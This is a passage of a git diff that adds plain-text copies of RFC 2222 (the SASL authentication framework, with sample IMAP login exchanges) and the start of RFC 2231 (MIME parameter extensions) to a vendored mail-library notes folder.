6.2. Location of Registered SASL Mechanism List ............ 6 + 6.3. Change Control ........................................ 7 + 6.4. Registration Template ................................. 7 + 7. Mechanism definitions ................................. 8 + 7.1. Kerberos version 4 mechanism .......................... 8 + 7.2. GSSAPI mechanism ...................................... 9 + 7.2.1 Client side of authentication protocol exchange ....... 9 + 7.2.2 Server side of authentication protocol exchange ....... 10 + 7.2.3 Security layer ........................................ 11 + 7.3. S/Key mechanism ....................................... 11 + 7.4. External mechanism .................................... 12 + 8. References ............................................ 13 + 9. Security Considerations ............................... 13 + 10. Author's Address ...................................... 14 + + + +Myers Standards Track [Page 1] + +RFC 2222 SASL October 1997 + + + Appendix A. Relation of SASL to Transport Security .......... 15 + Full Copyright Statement .................................... 16 + +1. Abstract + + This document describes a method for adding authentication support to + connection-based protocols. To use this specification, a protocol + includes a command for identifying and authenticating a user to a + server and for optionally negotiating protection of subsequent + protocol interactions. If its use is negotiated, a security layer is + inserted between the protocol and the connection. This document + describes how a protocol specifies such a command, defines several + mechanisms for use by the command, and defines the protocol used for + carrying a negotiated security layer over the connection. + +2. Organization of this Document + +2.1. How to Read This Document + + This document is written to serve two different audiences, protocol + designers using this specification to support authentication in their + protocol, and implementors of clients or servers for those protocols + using this specification. + + The sections "Introduction and Overview", "Profiling requirements", + and "Security Considerations" cover issues that protocol designers + need to understand and address in profiling this specification for + use in a specific protocol. + + Implementors of a protocol using this specification need the + protocol-specific profiling information in addition to the + information in this document. + +2.2. Conventions Used in this Document + + In examples, "C:" and "S:" indicate lines sent by the client and + server respectively. + + The key words "MUST", "MUST NOT", "SHOULD", "SHOULD NOT", and "MAY" + in this document are to be interpreted as defined in "Key words for + use in RFCs to Indicate Requirement Levels" [RFC 2119]. + + + + + + + + + + +Myers Standards Track [Page 2] + +RFC 2222 SASL October 1997 + + +2.3. Examples + + Examples in this document are for the IMAP profile [RFC 2060] of this + specification. The base64 encoding of challenges and responses, as + well as the "+ " preceding the responses are part of the IMAP4 + profile, not part of the SASL specification itself. + +3. Introduction and Overview + + The Simple Authentication and Security Layer (SASL) is a method for + adding authentication support to connection-based protocols. To use + this specification, a protocol includes a command for identifying and + authenticating a user to a server and for optionally negotiating a + security layer for subsequent protocol interactions. + + The command has a required argument identifying a SASL mechanism. + SASL mechanisms are named by strings, from 1 to 20 characters in + length, consisting of upper-case letters, digits, hyphens, and/or + underscores. SASL mechanism names must be registered with the IANA. + Procedures for registering new SASL mechanisms are given in the + section "Registration procedures" + + If a server supports the requested mechanism, it initiates an + authentication protocol exchange. This consists of a series of + server challenges and client responses that are specific to the + requested mechanism. The challenges and responses are defined by the + mechanisms as binary tokens of arbitrary length. The protocol's + profile then specifies how these binary tokens are then encoded for + transfer over the connection. + + After receiving the authentication command or any client response, a + server may issue a challenge, indicate failure, or indicate + completion. The protocol's profile specifies how the server + indicates which of the above it is doing. + + After receiving a challenge, a client may issue a response or abort + the exchange. The protocol's profile specifies how the client + indicates which of the above it is doing. + + During the authentication protocol exchange, the mechanism performs + authentication, transmits an authorization identity (frequently known + as a userid) from the client to server, and negotiates the use of a + mechanism-specific security layer. If the use of a security layer is + agreed upon, then the mechanism must also define or negotiate the + maximum cipher-text buffer size that each side is able to receive. + + + + + + +Myers Standards Track [Page 3] + +RFC 2222 SASL October 1997 + + + The transmitted authorization identity may be different than the + identity in the client's authentication credentials. This permits + agents such as proxy servers to authenticate using their own + credentials, yet request the access privileges of the identity for + which they are proxying. With any mechanism, transmitting an + authorization identity of the empty string directs the server to + derive an authorization identity from the client's authentication + credentials. + + If use of a security layer is negotiated, it is applied to all + subsequent data sent over the connection. The security layer takes + effect immediately following the last response of the authentication + exchange for data sent by the client and the completion indication + for data sent by the server. Once the security layer is in effect, + the protocol stream is processed by the security layer into buffers + of cipher-text. Each buffer is transferred over the connection as a + stream of octets prepended with a four octet field in network byte + order that represents the length of the following buffer. The length + of the cipher-text buffer must be no larger than the maximum size + that was defined or negotiated by the other side. + +4. Profiling requirements + + In order to use this specification, a protocol definition must supply + the following information: + + 1. A service name, to be selected from the IANA registry of "service" + elements for the GSSAPI host-based service name form [RFC 2078]. + + 2. A definition of the command to initiate the authentication + protocol exchange. This command must have as a parameter the + mechanism name being selected by the client. + + The command SHOULD have an optional parameter giving an initial + response. This optional parameter allows the client to avoid a + round trip when using a mechanism which is defined to have the + client send data first. When this initial response is sent by the + client and the selected mechanism is defined to have the server + start with an initial challenge, the command fails. See section + 5.1 of this document for further information. + + 3. A definition of the method by which the authentication protocol + exchange is carried out, including how the challenges and + responses are encoded, how the server indicates completion or + failure of the exchange, how the client aborts an exchange, and + how the exchange method interacts with any line length limits in + the protocol. + + + + +Myers Standards Track [Page 4] + +RFC 2222 SASL October 1997 + + + 4. Identification of the octet where any negotiated security layer + starts to take effect, in both directions. + + 5. A specification of how the authorization identity passed from the + client to the server is to be interpreted. + +5. Specific issues + +5.1. Client sends data first + + Some mechanisms specify that the first data sent in the + authentication protocol exchange is from the client to the server. + + If a protocol's profile permits the command which initiates an + authentication protocol exchange to contain an initial client + response, this parameter SHOULD be used with such mechanisms. + + If the initial client response parameter is not given, or if a + protocol's profile does not permit the command which initiates an + authentication protocol exchange to contain an initial client + response, then the server issues a challenge with no data. The + client's response to this challenge is then used as the initial + client response. (The server then proceeds to send the next + challenge, indicates completion, or indicates failure.) + +5.2. Server returns success with additional data + + Some mechanisms may specify that server challenge data be sent to the + client along with an indication of successful completion of the + exchange. This data would, for example, authenticate the server to + the client. + + If a protocol's profile does not permit this server challenge to be + returned with a success indication, then the server issues the server + challenge without an indication of successful completion. The client + then responds with no data. After receiving this empty response, the + server then indicates successful completion. + +5.3. Multiple authentications + + Unless otherwise stated by the protocol's profile, only one + successful SASL negotiation may occur in a protocol session. In this + case, once an authentication protocol exchange has successfully + completed, further attempts to initiate an authentication protocol + exchange fail. + + + + + + +Myers Standards Track [Page 5] + +RFC 2222 SASL October 1997 + + + In the case that a profile explicitly permits multiple successful + SASL negotiations to occur, then in no case may multiple security + layers be simultaneously in effect. If a security layer is in effect + and a subsequent SASL negotiation selects no security layer, the + original security layer remains in effect. If a security layer is in + effect and a subsequent SASL negotiation selects a second security + layer, then the second security layer replaces the first. + +6. Registration procedures + + Registration of a SASL mechanism is done by filling in the template + in section 6.4 and sending it in to iana@isi.edu. IANA has the right + to reject obviously bogus registrations, but will perform no review + of clams made in the registration form. + + There is no naming convention for SASL mechanisms; any name that + conforms to the syntax of a SASL mechanism name can be registered. + + While the registration procedures do not require it, authors of SASL + mechanisms are encouraged to seek community review and comment + whenever that is feasible. Authors may seek community review by + posting a specification of their proposed mechanism as an internet- + draft. SASL mechanisms intended for widespread use should be + standardized through the normal IETF process, when appropriate. + +6.1. Comments on SASL mechanism registrations + + Comments on registered SASL mechanisms should first be sent to the + "owner" of the mechanism. Submitters of comments may, after a + reasonable attempt to contact the owner, request IANA to attach their + comment to the SASL mechanism registration itself. If IANA approves + of this the comment will be made accessible in conjunction with the + SASL mechanism registration itself. + +6.2. Location of Registered SASL Mechanism List + + SASL mechanism registrations will be posted in the anonymous FTP + directory "ftp://ftp.isi.edu/in-notes/iana/assignments/sasl- + mechanisms/" and all registered SASL mechanisms will be listed in the + periodically issued "Assigned Numbers" RFC [currently STD 2, RFC + 1700]. The SASL mechanism description and other supporting material + may also be published as an Informational RFC by sending it to "rfc- + editor@isi.edu" (please follow the instructions to RFC authors [RFC + 2223]). + + + + + + + +Myers Standards Track [Page 6] + +RFC 2222 SASL October 1997 + + +6.3. Change Control + + Once a SASL mechanism registration has been published by IANA, the + author may request a change to its definition. The change request + follows the same procedure as the registration request. + + The owner of a SASL mechanism may pass responsibility for the SASL + mechanism to another person or agency by informing IANA; this can be + done without discussion or review. + + The IESG may reassign responsibility for a SASL mechanism. The most + common case of this will be to enable changes to be made to + mechanisms where the author of the registration has died, moved out + of contact or is otherwise unable to make changes that are important + to the community. + + SASL mechanism registrations may not be deleted; mechanisms which are + no longer believed appropriate for use can be declared OBSOLETE by a + change to their "intended use" field; such SASL mechanisms will be + clearly marked in the lists published by IANA. + + The IESG is considered to be the owner of all SASL mechanisms which + are on the IETF standards track. + +6.4. Registration Template + + To: iana@iana.org + Subject: Registration of SASL mechanism X + + SASL mechanism name: + + Security considerations: + + Published specification (optional, recommended): + + Person & email address to contact for further information: + + Intended usage: + + (One of COMMON, LIMITED USE or OBSOLETE) + + Author/Change controller: + + (Any other information that the author deems interesting may be + added below this line.) + + + + + + +Myers Standards Track [Page 7] + +RFC 2222 SASL October 1997 + + +7. Mechanism definitions + + The following mechanisms are hereby defined. + +7.1. Kerberos version 4 mechanism + + The mechanism name associated with Kerberos version 4 is + "KERBEROS_V4". + + The first challenge consists of a random 32-bit number in network + byte order. The client responds with a Kerberos ticket and an + authenticator for the principal "service.hostname@realm", where + "service" is the service name specified in the protocol's profile, + "hostname" is the first component of the host name of the server with + all letters in lower case, and where "realm" is the Kerberos realm of + the server. The encrypted checksum field included within the + Kerberos authenticator contains the server provided challenge in + network byte order. + + Upon decrypting and verifying the ticket and authenticator, the + server verifies that the contained checksum field equals the original + server provided random 32-bit number. Should the verification be + successful, the server must add one to the checksum and construct 8 + octets of data, with the first four octets containing the incremented + checksum in network byte order, the fifth octet containing a bit-mask + specifying the security layers supported by the server, and the sixth + through eighth octets containing, in network byte order, the maximum + cipher-text buffer size the server is able to receive. The server + must encrypt using DES ECB mode the 8 octets of data in the session + key and issue that encrypted data in a second challenge. The client + considers the server authenticated if the first four octets of the + un-encrypted data is equal to one plus the checksum it previously + sent. + + The client must construct data with the first four octets containing + the original server-issued checksum in network byte order, the fifth + octet containing the bit-mask specifying the selected security layer, + the sixth through eighth octets containing in network byte order the + maximum cipher-text buffer size the client is able to receive, and + the following octets containing the authorization identity. The + client must then append from one to eight zero-valued octets so that + the length of the data is a multiple of eight octets. The client must + then encrypt using DES PCBC mode the data with the session key and + respond with the encrypted data. The server decrypts the data and + verifies the contained checksum. The server must verify that the + principal identified in the Kerberos ticket is authorized to connect + as that authorization identity. After this verification, the + authentication process is complete. + + + +Myers Standards Track [Page 8] + +RFC 2222 SASL October 1997 + + + The security layers and their corresponding bit-masks are as follows: + + 1 No security layer + 2 Integrity (krb_mk_safe) protection + 4 Privacy (krb_mk_priv) protection + + Other bit-masks may be defined in the future; bits which are not + understood must be negotiated off. + + EXAMPLE: The following are two Kerberos version 4 login scenarios to + the IMAP4 protocol (note that the line breaks in the sample + authenticators are for editorial clarity and are not in real + authenticators) + + S: * OK IMAP4 Server + C: A001 AUTHENTICATE KERBEROS_V4 + S: + AmFYig== + C: BAcAQU5EUkVXLkNNVS5FRFUAOCAsho84kLN3/IJmrMG+25a4DT + +nZImJjnTNHJUtxAA+o0KPKfHEcAFs9a3CL5Oebe/ydHJUwYFd + WwuQ1MWiy6IesKvjL5rL9WjXUb9MwT9bpObYLGOKi1Qh + S: + or//EoAADZI= + C: DiAF5A4gA+oOIALuBkAAmw== + S: A001 OK Kerberos V4 authentication successful + + + S: * OK IMAP4 Server + C: A001 AUTHENTICATE KERBEROS_V4 + S: + gcfgCA== + C: BAcAQU5EUkVXLkNNVS5FRFUAOCAsho84kLN3/IJmrMG+25a4DT + +nZImJjnTNHJUtxAA+o0KPKfHEcAFs9a3CL5Oebe/ydHJUwYFd + WwuQ1MWiy6IesKvjL5rL9WjXUb9MwT9bpObYLGOKi1Qh + S: A001 NO Kerberos V4 authentication failed + +7.2. GSSAPI mechanism + + The mechanism name associated with all mechanisms employing the + GSSAPI [RFC 2078] is "GSSAPI". + +7.2.1 Client side of authentication protocol exchange + + The client calls GSS_Init_sec_context, passing in 0 for + input_context_handle (initially) and a targ_name equal to output_name + from GSS_Import_Name called with input_name_type of + GSS_C_NT_HOSTBASED_SERVICE and input_name_string of + "service@hostname" where "service" is the service name specified in + the protocol's profile, and "hostname" is the fully qualified host + name of the server. The client then responds with the resulting + output_token. If GSS_Init_sec_context returns GSS_S_CONTINUE_NEEDED, + + + +Myers Standards Track [Page 9] + +RFC 2222 SASL October 1997 + + + then the client should expect the server to issue a token in a + subsequent challenge. The client must pass the token to another call + to GSS_Init_sec_context, repeating the actions in this paragraph. + + When GSS_Init_sec_context returns GSS_S_COMPLETE, the client takes + the following actions: If the last call to GSS_Init_sec_context + returned an output_token, then the client responds with the + output_token, otherwise the client responds with no data. The client + should then expect the server to issue a token in a subsequent + challenge. The client passes this token to GSS_Unwrap and interprets + the first octet of resulting cleartext as a bit-mask specifying the + security layers supported by the server and the second through fourth + octets as the maximum size output_message to send to the server. The + client then constructs data, with the first octet containing the + bit-mask specifying the selected security layer, the second through + fourth octets containing in network byte order the maximum size + output_message the client is able to receive, and the remaining + octets containing the authorization identity. The client passes the + data to GSS_Wrap with conf_flag set to FALSE, and responds with the + generated output_message. The client can then consider the server + authenticated. + +7.2.2 Server side of authentication protocol exchange + + The server passes the initial client response to + GSS_Accept_sec_context as input_token, setting input_context_handle + to 0 (initially). If GSS_Accept_sec_context returns + GSS_S_CONTINUE_NEEDED, the server returns the generated output_token + to the client in challenge and passes the resulting response to + another call to GSS_Accept_sec_context, repeating the actions in this + paragraph. + + When GSS_Accept_sec_context returns GSS_S_COMPLETE, the client takes + the following actions: If the last call to GSS_Accept_sec_context + returned an output_token, the server returns it to the client in a + challenge and expects a reply from the client with no data. Whether + or not an output_token was returned (and after receipt of any + response from the client to such an output_token), the server then + constructs 4 octets of data, with the first octet containing a bit- + mask specifying the security layers supported by the server and the + second through fourth octets containing in network byte order the + maximum size output_token the server is able to receive. The server + must then pass the plaintext to GSS_Wrap with conf_flag set to FALSE + and issue the generated output_message to the client in a challenge. + The server must then pass the resulting response to GSS_Unwrap and + interpret the first octet of resulting cleartext as the bit-mask for + the selected security layer, the second through fourth octets as the + maximum size output_message to send to the client, and the remaining + + + +Myers Standards Track [Page 10] + +RFC 2222 SASL October 1997 + + + octets as the authorization identity. The server must verify that + the src_name is authorized to authenticate as the authorization + identity. After these verifications, the authentication process is + complete. + +7.2.3 Security layer + + The security layers and their corresponding bit-masks are as follows: + + 1 No security layer + 2 Integrity protection. + Sender calls GSS_Wrap with conf_flag set to FALSE + 4 Privacy protection. + Sender calls GSS_Wrap with conf_flag set to TRUE + + Other bit-masks may be defined in the future; bits which are not + understood must be negotiated off. + +7.3. S/Key mechanism + + The mechanism name associated with S/Key [RFC 1760] using the MD4 + digest algorithm is "SKEY". + + The client sends an initial response with the authorization identity. + + The server then issues a challenge which contains the decimal + sequence number followed by a single space and the seed string for + the indicated authorization identity. The client responds with the + one-time-password, as either a 64-bit value in network byte order or + encoded in the "six English words" format. + + The server must verify the one-time-password. After this + verification, the authentication process is complete. + + S/Key authentication does not provide for any security layers. + + EXAMPLE: The following are two S/Key login scenarios in the IMAP4 + protocol. + + S: * OK IMAP4 Server + C: A001 AUTHENTICATE SKEY + S: + + C: bW9yZ2Fu + S: + OTUgUWE1ODMwOA== + C: Rk9VUiBNQU5OIFNPT04gRklSIFZBUlkgTUFTSA== + S: A001 OK S/Key authentication successful + + + + + +Myers Standards Track [Page 11] + +RFC 2222 SASL October 1997 + + + S: * OK IMAP4 Server + C: A001 AUTHENTICATE SKEY + S: + + C: c21pdGg= + S: + OTUgUWE1ODMwOA== + C: BsAY3g4gBNo= + S: A001 NO S/Key authentication failed + + The following is an S/Key login scenario in an IMAP4-like protocol + which has an optional "initial response" argument to the AUTHENTICATE + command. + + S: * OK IMAP4-Like Server + C: A001 AUTHENTICATE SKEY bW9yZ2Fu + S: + OTUgUWE1ODMwOA== + C: Rk9VUiBNQU5OIFNPT04gRklSIFZBUlkgTUFTSA== + S: A001 OK S/Key authentication successful + +7.4. External mechanism + + The mechanism name associated with external authentication is + "EXTERNAL". + + The client sends an initial response with the authorization identity. + + The server uses information, external to SASL, to determine whether + the client is authorized to authenticate as the authorization + identity. If the client is so authorized, the server indicates + successful completion of the authentication exchange; otherwise the + server indicates failure. + + The system providing this external information may be, for example, + IPsec or TLS. + + If the client sends the empty string as the authorization identity + (thus requesting the authorization identity be derived from the + client's authentication credentials), the authorization identity is + to be derived from authentication credentials which exist in the + system which is providing the external authentication. + + + + + + + + + + + + +Myers Standards Track [Page 12] + +RFC 2222 SASL October 1997 + + +8. References + + [RFC 2060] Crispin, M., "Internet Message Access Protocol - Version + 4rev1", RFC 2060, December 1996. + + [RFC 2078] Linn, J., "Generic Security Service Application Program + Interface, Version 2", RFC 2078, January 1997. + + [RFC 2119] Bradner, S., "Key words for use in RFCs to Indicate + Requirement Levels", RFC 2119, March 1997. + + [RFC 2223] Postel, J., and J. Reynolds, "Instructions to RFC + Authors", RFC 2223, October 1997. + + [RFC 1760] Haller, N., "The S/Key One-Time Password System", RFC + 1760, February 1995. + + [RFC 1700] Reynolds, J., and J. Postel, "Assigned Numbers", STD 2, + RFC 1700, October 1994. + +9. Security Considerations + + Security issues are discussed throughout this memo. + + The mechanisms that support integrity protection are designed such + that the negotiation of the security layer and authorization identity + is integrity protected. When the client selects a security layer + with at least integrity protection, this protects against an active + attacker hijacking the connection and modifying the authentication + exchange to negotiate a plaintext connection. + + When a server or client supports multiple authentication mechanisms, + each of which has a different security strength, it is possible for + an active attacker to cause a party to use the least secure mechanism + supported. To protect against this sort of attack, a client or + server which supports mechanisms of different strengths should have a + configurable minimum strength that it will use. It is not sufficient + for this minimum strength check to only be on the server, since an + active attacker can change which mechanisms the client sees as being + supported, causing the client to send authentication credentials for + its weakest supported mechanism. + + + + + + + + + + +Myers Standards Track [Page 13] + +RFC 2222 SASL October 1997 + + + The client's selection of a SASL mechanism is done in the clear and + may be modified by an active attacker. It is important for any new + SASL mechanisms to be designed such that an active attacker cannot + obtain an authentication with weaker security properties by modifying + the SASL mechanism name and/or the challenges and responses. + + Any protocol interactions prior to authentication are performed in + the clear and may be modified by an active attacker. In the case + where a client selects integrity protection, it is important that any + security-sensitive protocol negotiations be performed after + authentication is complete. Protocols should be designed such that + negotiations performed prior to authentication should be either + ignored or revalidated once authentication is complete. + +10. Author's Address + + John G. Myers + Netscape Communications + 501 E. Middlefield Road + Mail Stop MV-029 + Mountain View, CA 94043-4042 + + EMail: jgmyers@netscape.com + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Myers Standards Track [Page 14] + +RFC 2222 SASL October 1997 + + +Appendix A. Relation of SASL to Transport Security + + Questions have been raised about the relationship between SASL and + various services (such as IPsec and TLS) which provide a secured + connection. + + Two of the key features of SASL are: + + 1. The separation of the authorization identity from the identity in + the client's credentials. This permits agents such as proxy + servers to authenticate using their own credentials, yet request + the access privileges of the identity for which they are proxying. + + 2. Upon successful completion of an authentication exchange, the + server knows the authorization identity the client wishes to use. + This allows servers to move to a "user is authenticated" state in + the protocol. + + These features are extremely important to some application protocols, + yet Transport Security services do not always provide them. To + define SASL mechanisms based on these services would be a very messy + task, as the framing of these services would be redundant with the + framing of SASL and some method of providing these important SASL + features would have to be devised. + + Sometimes it is desired to enable within an existing connection the + use of a security service which does not fit the SASL model. (TLS is + an example of such a service.) This can be done by adding a command, + for example "STARTTLS", to the protocol. Such a command is outside + the scope of SASL, and should be different from the command which + starts a SASL authentication protocol exchange. + + In certain situations, it is reasonable to use SASL underneath one of + these Transport Security services. The transport service would + secure the connection, either service would authenticate the client, + and SASL would negotiate the authorization identity. The SASL + negotiation would be what moves the protocol from "unauthenticated" + to "authenticated" state. The "EXTERNAL" SASL mechanism is + explicitly intended to handle the case where the transport service + secures the connection and authenticates the client and SASL + negotiates the authorization identity. + + When using SASL underneath a sufficiently strong Transport Security + service, a SASL security layer would most likely be redundant. The + client and server would thus probably want to negotiate off the use + of a SASL security layer. + + + + + +Myers Standards Track [Page 15] + +RFC 2222 SASL October 1997 + + +Full Copyright Statement + + Copyright (C) The Internet Society (1997). All Rights Reserved. + + This document and translations of it may be copied and furnished to + others, and derivative works that comment on or otherwise explain it + or assist in its implmentation may be prepared, copied, published + andand distributed, in whole or in part, without restriction of any + kind, provided that the above copyright notice and this paragraph are + included on all such copies and derivative works. However, this + document itself may not be modified in any way, such as by removing + the copyright notice or references to the Internet Society or other + Internet organizations, except as needed for the purpose of + developing Internet standards in which case the procedures for + copyrights defined in the Internet Standards process must be + followed, or as required to translate it into languages other than + English. + + The limited permissions granted above are perpetual and will not be + revoked by the Internet Society or its successors or assigns. + + This document and the information contained herein is provided on an + "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING + TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING + BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION + HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF + MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + + + + + + + + + + + + + + + + + + + + + + + + +Myers Standards Track [Page 16] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2231.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2231.txt new file mode 100644 index 00000000..120f98f8 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2231.txt @@ -0,0 +1,563 @@ + + + + + + +Network Working Group N. Freed +Request for Comments: 2231 Innosoft +Updates: 2045, 2047, 2183 K. Moore +Obsoletes: 2184 University of Tennessee +Category: Standards Track November 1997 + + + MIME Parameter Value and Encoded Word Extensions: + Character Sets, Languages, and Continuations + + +Status of this Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Copyright Notice + + Copyright (C) The Internet Society (1997). All Rights Reserved. + +1. Abstract + + This memo defines extensions to the RFC 2045 media type and RFC 2183 + disposition parameter value mechanisms to provide + + (1) a means to specify parameter values in character sets + other than US-ASCII, + + (2) to specify the language to be used should the value be + displayed, and + + (3) a continuation mechanism for long parameter values to + avoid problems with header line wrapping. + + This memo also defines an extension to the encoded words defined in + RFC 2047 to allow the specification of the language to be used for + display as well as the character set. + +2. Introduction + + The Multipurpose Internet Mail Extensions, or MIME [RFC-2045, RFC- + 2046, RFC-2047, RFC-2048, RFC-2049], define a message format that + allows for: + + + + + +Freed & Moore Standards Track [Page 1] + +RFC 2231 MIME Value and Encoded Word Extensions November 1997 + + + (1) textual message bodies in character sets other than + US-ASCII, + + (2) non-textual message bodies, + + (3) multi-part message bodies, and + + (4) textual header information in character sets other than + US-ASCII. + + MIME is now widely deployed and is used by a variety of Internet + protocols, including, of course, Internet email. However, MIME's + success has resulted in the need for additional mechanisms that were + not provided in the original protocol specification. + + In particular, existing MIME mechanisms provide for named media type + (content-type field) parameters as well as named disposition + (content-disposition field). A MIME media type may specify any + number of parameters associated with all of its subtypes, and any + specific subtype may specify additional parameters for its own use. A + MIME disposition value may specify any number of associated + parameters, the most important of which is probably the attachment + disposition's filename parameter. + + These parameter names and values end up appearing in the content-type + and content-disposition header fields in Internet email. This + inherently imposes three crucial limitations: + + (1) Lines in Internet email header fields are folded + according to RFC 822 folding rules. This makes long + parameter values problematic. + + (2) MIME headers, like the RFC 822 headers they often + appear in, are limited to 7bit US-ASCII, and the + encoded-word mechanisms of RFC 2047 are not available + to parameter values. This makes it impossible to have + parameter values in character sets other than US-ASCII + without specifying some sort of private per-parameter + encoding. + + (3) It has recently become clear that character set + information is not sufficient to properly display some + sorts of information -- language information is also + needed [RFC-2130]. For example, support for + handicapped users may require reading text string + + + + + + +Freed & Moore Standards Track [Page 2] + +RFC 2231 MIME Value and Encoded Word Extensions November 1997 + + + aloud. The language the text is written in is needed + for this to be done correctly. Some parameter values + may need to be displayed, hence there is a need to + allow for the inclusion of language information. + + The last problem on this list is also an issue for the encoded words + defined by RFC 2047, as encoded words are intended primarily for + display purposes. + + This document defines extensions that address all of these + limitations. All of these extensions are implemented in a fashion + that is completely compatible at a syntactic level with existing MIME + implementations. In addition, the extensions are designed to have as + little impact as possible on existing uses of MIME. + + IMPORTANT NOTE: These mechanisms end up being somewhat gibbous when + they actually are used. As such, these mechanisms should not be used + lightly; they should be reserved for situations where a real need for + them exists. + +2.1. Requirements notation + + This document occasionally uses terms that appear in capital letters. + When the terms "MUST", "SHOULD", "MUST NOT", "SHOULD NOT", and "MAY" + appear capitalized, they are being used to indicate particular + requirements of this specification. A discussion of the meanings of + these terms appears in [RFC- 2119]. + +3. Parameter Value Continuations + + Long MIME media type or disposition parameter values do not interact + well with header line wrapping conventions. In particular, proper + header line wrapping depends on there being places where linear + whitespace (LWSP) is allowed, which may or may not be present in a + parameter value, and even if present may not be recognizable as such + since specific knowledge of parameter value syntax may not be + available to the agent doing the line wrapping. The result is that + long parameter values may end up getting truncated or otherwise + damaged by incorrect line wrapping implementations. + + A mechanism is therefore needed to break up parameter values into + smaller units that are amenable to line wrapping. Any such mechanism + MUST be compatible with existing MIME processors. This means that + + (1) the mechanism MUST NOT change the syntax of MIME media + type and disposition lines, and + + + + + +Freed & Moore Standards Track [Page 3] + +RFC 2231 MIME Value and Encoded Word Extensions November 1997 + + + (2) the mechanism MUST NOT depend on parameter ordering + since MIME states that parameters are not order + sensitive. Note that while MIME does prohibit + modification of MIME headers during transport, it is + still possible that parameters will be reordered when + user agent level processing is done. + + The obvious solution, then, is to use multiple parameters to contain + a single parameter value and to use some kind of distinguished name + to indicate when this is being done. And this obvious solution is + exactly what is specified here: The asterisk character ("*") followed + by a decimal count is employed to indicate that multiple parameters + are being used to encapsulate a single parameter value. The count + starts at 0 and increments by 1 for each subsequent section of the + parameter value. Decimal values are used and neither leading zeroes + nor gaps in the sequence are allowed. + + The original parameter value is recovered by concatenating the + various sections of the parameter, in order. For example, the + content-type field + + Content-Type: message/external-body; access-type=URL; + URL*0="ftp://"; + URL*1="cs.utk.edu/pub/moore/bulk-mailer/bulk-mailer.tar" + + is semantically identical to + + Content-Type: message/external-body; access-type=URL; + URL="ftp://cs.utk.edu/pub/moore/bulk-mailer/bulk-mailer.tar" + + Note that quotes around parameter values are part of the value + syntax; they are NOT part of the value itself. Furthermore, it is + explicitly permitted to have a mixture of quoted and unquoted + continuation fields. + +4. Parameter Value Character Set and Language Information + + Some parameter values may need to be qualified with character set or + language information. It is clear that a distinguished parameter + name is needed to identify when this information is present along + with a specific syntax for the information in the value itself. In + addition, a lightweight encoding mechanism is needed to accommodate 8 + bit information in parameter values. + + + + + + + + +Freed & Moore Standards Track [Page 4] + +RFC 2231 MIME Value and Encoded Word Extensions November 1997 + + + Asterisks ("*") are reused to provide the indicator that language and + character set information is present and encoding is being used. A + single quote ("'") is used to delimit the character set and language + information at the beginning of the parameter value. Percent signs + ("%") are used as the encoding flag, which agrees with RFC 2047. + + Specifically, an asterisk at the end of a parameter name acts as an + indicator that character set and language information may appear at + the beginning of the parameter value. A single quote is used to + separate the character set, language, and actual value information in + the parameter value string, and an percent sign is used to flag + octets encoded in hexadecimal. For example: + + Content-Type: application/x-stuff; + title*=us-ascii'en-us'This%20is%20%2A%2A%2Afun%2A%2A%2A + + Note that it is perfectly permissible to leave either the character + set or language field blank. Note also that the single quote + delimiters MUST be present even when one of the field values is + omitted. This is done when either character set, language, or both + are not relevant to the parameter value at hand. This MUST NOT be + done in order to indicate a default character set or language -- + parameter field definitions MUST NOT assign a default character set + or language. + +4.1. Combining Character Set, Language, and Parameter Continuations + + Character set and language information may be combined with the + parameter continuation mechanism. For example: + + Content-Type: application/x-stuff + title*0*=us-ascii'en'This%20is%20even%20more%20 + title*1*=%2A%2A%2Afun%2A%2A%2A%20 + title*2="isn't it!" + + Note that: + + (1) Language and character set information only appear at + the beginning of a given parameter value. + + (2) Continuations do not provide a facility for using more + than one character set or language in the same + parameter value. + + (3) A value presented using multiple continuations may + contain a mixture of encoded and unencoded segments. + + + + + +Freed & Moore Standards Track [Page 5] + +RFC 2231 MIME Value and Encoded Word Extensions November 1997 + + + (4) The first segment of a continuation MUST be encoded if + language and character set information are given. + + (5) If the first segment of a continued parameter value is + encoded the language and character set field delimiters + MUST be present even when the fields are left blank. + +5. Language specification in Encoded Words + + RFC 2047 provides support for non-US-ASCII character sets in RFC 822 + message header comments, phrases, and any unstructured text field. + This is done by defining an encoded word construct which can appear + in any of these places. Given that these are fields intended for + display, it is sometimes necessary to associate language information + with encoded words as well as just the character set. This + specification extends the definition of an encoded word to allow the + inclusion of such information. This is simply done by suffixing the + character set specification with an asterisk followed by the language + tag. For example: + + From: =?US-ASCII*EN?Q?Keith_Moore?= + +6. IMAP4 Handling of Parameter Values + + IMAP4 [RFC-2060] servers SHOULD decode parameter value continuations + when generating the BODY and BODYSTRUCTURE fetch attributes. + +7. Modifications to MIME ABNF + + The ABNF for MIME parameter values given in RFC 2045 is: + + parameter := attribute "=" value + + attribute := token + ; Matching of attributes + ; is ALWAYS case-insensitive. + + This specification changes this ABNF to: + + parameter := regular-parameter / extended-parameter + + regular-parameter := regular-parameter-name "=" value + + regular-parameter-name := attribute [section] + + attribute := 1*attribute-char + + + + + +Freed & Moore Standards Track [Page 6] + +RFC 2231 MIME Value and Encoded Word Extensions November 1997 + + + attribute-char := + + section := initial-section / other-sections + + initial-section := "*0" + + other-sections := "*" ("1" / "2" / "3" / "4" / "5" / + "6" / "7" / "8" / "9") *DIGIT) + + extended-parameter := (extended-initial-name "=" + extended-value) / + (extended-other-names "=" + extended-other-values) + + extended-initial-name := attribute [initial-section] "*" + + extended-other-names := attribute other-sections "*" + + extended-initial-value := [charset] "'" [language] "'" + extended-other-values + + extended-other-values := *(ext-octet / attribute-char) + + ext-octet := "%" 2(DIGIT / "A" / "B" / "C" / "D" / "E" / "F") + + charset := + + language := + + The ABNF given in RFC 2047 for encoded-words is: + + 